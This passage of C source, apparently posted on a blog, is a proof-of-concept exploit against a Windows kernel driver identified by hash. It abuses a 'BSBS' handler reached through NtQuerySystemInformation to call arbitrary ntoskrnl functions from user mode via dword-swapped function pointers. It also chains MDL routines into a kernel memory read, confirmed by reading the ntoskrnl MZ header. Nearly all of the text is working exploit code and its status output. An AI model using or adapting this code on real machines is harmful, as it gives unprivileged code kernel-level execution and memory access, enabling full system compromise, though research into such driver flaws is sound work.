    printf("\n=== Demo Path B: DbgPrint ===\n");

    PVOID DbgPrint = ResolveKernelFunc("DbgPrint", kernelBase);
    if (!DbgPrint) return;

    const char *msg = "BSBS PoC: Hello from ring0!\n";
    uint64_t result = 0xDEADBEEFCAFEBABEULL;

    __declspec(align(16)) BSBS_CMD cmd;
    memset(&cmd, 0, sizeof(cmd));
    cmd.opcode        = 0;
    cmd.user_ptr      = (void *)&result;
    cmd.func2_swapped = SwapDwords((uint64_t)DbgPrint); /* SWAPPED! */
    cmd.p2_arg1       = (uint64_t)msg;

    printf("[*] Calling DbgPrint(\"%s\") via BSBS handler...\n", msg);
    NTSTATUS st = InvokeBSBS(NtQSI, &cmd);

    if (result != 0xDEADBEEFCAFEBABEULL) {
        printf("[+] DbgPrint returned: %llu (check kernel debugger output)\n",
               (unsigned long long)result);
    } else {
        printf("[-] Handler did not modify result (sentinel unchanged)\n");
        printf("    NtQSI status: 0x%08lx\n", (ULONG)st);
    }
}

/* ================================================================ */
/*  DEMO 3: Path A - Kernel memory read via MDL workflow             */
/*  Path A: opcode=1, 6 indirect calls:                             */
/*    func1=IoAllocateMdl(arg1=VA, size, 0, 0, 0)                   */
/*    func2=MmProbeAndLockPages(mdl, 0, direction)                  */
/*    func3=MmMapLockedPagesSpecifyCache(mdl, 0, 0, 0, 0, 16)       */
/*    rep movsb (copy size bytes between user_ptr and mapped buf)   */
/*    func4=MmUnmapLockedPages(mapped, mdl)                         */
/*    func5=MmUnlockPages(mdl)                                      */
/*    func6=IoFreeMdl(mdl)                                          */
/* ================================================================ */
static void Demo_PathA_ReadKernelMem(
    pNtQuerySystemInformation NtQSI, PVOID kernelBase)
{
    printf("\n=== Demo Path A: Read kernel memory (MDL workflow) ===\n");

    PVOID pIoAllocateMdl           = ResolveKernelFunc("IoAllocateMdl", kernelBase);
    PVOID pMmProbeAndLockPages     = ResolveKernelFunc("MmProbeAndLockPages", kernelBase);
    PVOID pMmMapLockedPagesSpecifyCache = ResolveKernelFunc(
        "MmMapLockedPagesSpecifyCache", kernelBase);
    PVOID pMmUnmapLockedPages      = ResolveKernelFunc("MmUnmapLockedPages", kernelBase);
    PVOID pMmUnlockPages           = ResolveKernelFunc("MmUnlockPages", kernelBase);
    PVOID pIoFreeMdl               = ResolveKernelFunc("IoFreeMdl", kernelBase);

    if (!pIoAllocateMdl || !pMmProbeAndLockPages ||
        !pMmMapLockedPagesSpecifyCache || !pMmUnmapLockedPages ||
        !pMmUnlockPages || !pIoFreeMdl) {
        printf("[-] Failed to resolve MDL functions\n");
        return;
    }

    /* Read 16 bytes from ntoskrnl base (should see "MZ" header) */
    __declspec(align(16)) uint8_t userBuf[16] = {0};
    uint32_t readSize = sizeof(userBuf);

    __declspec(align(16)) BSBS_CMD cmd;
    memset(&cmd, 0, sizeof(cmd));
    cmd.opcode        = 1;          /* Path A */
    cmd.direction     = 0;          /* 0 = kernel -> user (read) */
    cmd.size          = readSize;   /* copy 16 bytes */
    cmd.arg1          = (uint64_t)kernelBase;  /* target VA = ntoskrnl base */
    cmd.user_ptr      = userBuf;    /* destination user buffer */
    cmd.func1_swapped = SwapDwords((uint64_t)pIoAllocateMdl);
    cmd.func2_swapped = SwapDwords((uint64_t)pMmProbeAndLockPages);
    cmd.func3_swapped = SwapDwords((uint64_t)pMmMapLockedPagesSpecifyCache);
    cmd.func4_swapped = SwapDwords((uint64_t)pMmUnmapLockedPages);
    cmd.func5_swapped = SwapDwords((uint64_t)pMmUnlockPages);
    cmd.func6_swapped = SwapDwords((uint64_t)pIoFreeMdl);

    printf("[*] Reading %u bytes from ntoskrnl base %p via MDL workflow...\n",
           readSize, kernelBase);
    printf("[*] userBuf before: ");
    for (int i = 0; i < 16; i++) printf("%02x ", userBuf[i]);
    printf("\n");

    NTSTATUS st = InvokeBSBS(NtQSI, &cmd);

    printf("[*] userBuf after:  ");
    for (uint32_t i = 0; i < readSize; i++) printf("%02x ", userBuf[i]);
    printf("\n");
    if (userBuf[0] == 'M' && userBuf[1] == 'Z')
        printf("[+] SUCCESS! Read ntoskrnl MZ header!\n");
    else
        printf("[-] Buffer unchanged or all zeros\n");
}

/* ================================================================ */
/*  main                                                            */
/* ================================================================ */
int main(int argc, char *argv[])
{
    printf("=== BSBS Firmware-Table Covert Channel PoC v3 ===\n");
    printf("Driver: 1d9224a72e64bb2aad289edc81ea0720c764511c3e2b5beb5d0d5ce82a719abd.sys\n");

    /* Resolve NtQuerySystemInformation */
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) hNtdll = LoadLibraryA("ntdll.dll");
    if (!hNtdll) { printf("[-] Cannot load ntdll.dll\n"); return 1; }

    pNtQuerySystemInformation NtQSI = (pNtQuerySystemInformation)
        GetProcAddress(hNtdll, "NtQuerySystemInformation");
    if (!NtQSI) { printf("[-] NtQuerySystemInformation not found\n"); return 1; }

    /* Get ntoskrnl kernel base */
    PVOID kernelBase = NtoskrnlKernelBase();
    if (!kernelBase) { printf("[-] Cannot find ntoskrnl base\n"); return 1; }
    printf("[+] ntoskrnl kernel base: %p\n\n", kernelBase);

    /* Run demos */
    Demo_PathB_MmGetPhysicalAddress(NtQSI, kernelBase);
    printf("\n[+] Press Enter to continue...");
    getchar();

    Demo_PathB_DbgPrint(NtQSI, kernelBase);
    printf("\n[+] Press Enter to continue...");
    getchar();

    Demo_PathA_ReadKernelMem(NtQSI, kernelBase);
    printf("\n[+] Press Enter to exit...");
    getchar();

    printf("\n[+] Done.\n");
    return 0;
}

posted @ 2026-07-01 22:06  DirWangK  阅读(0)  评论(0)    收藏  举报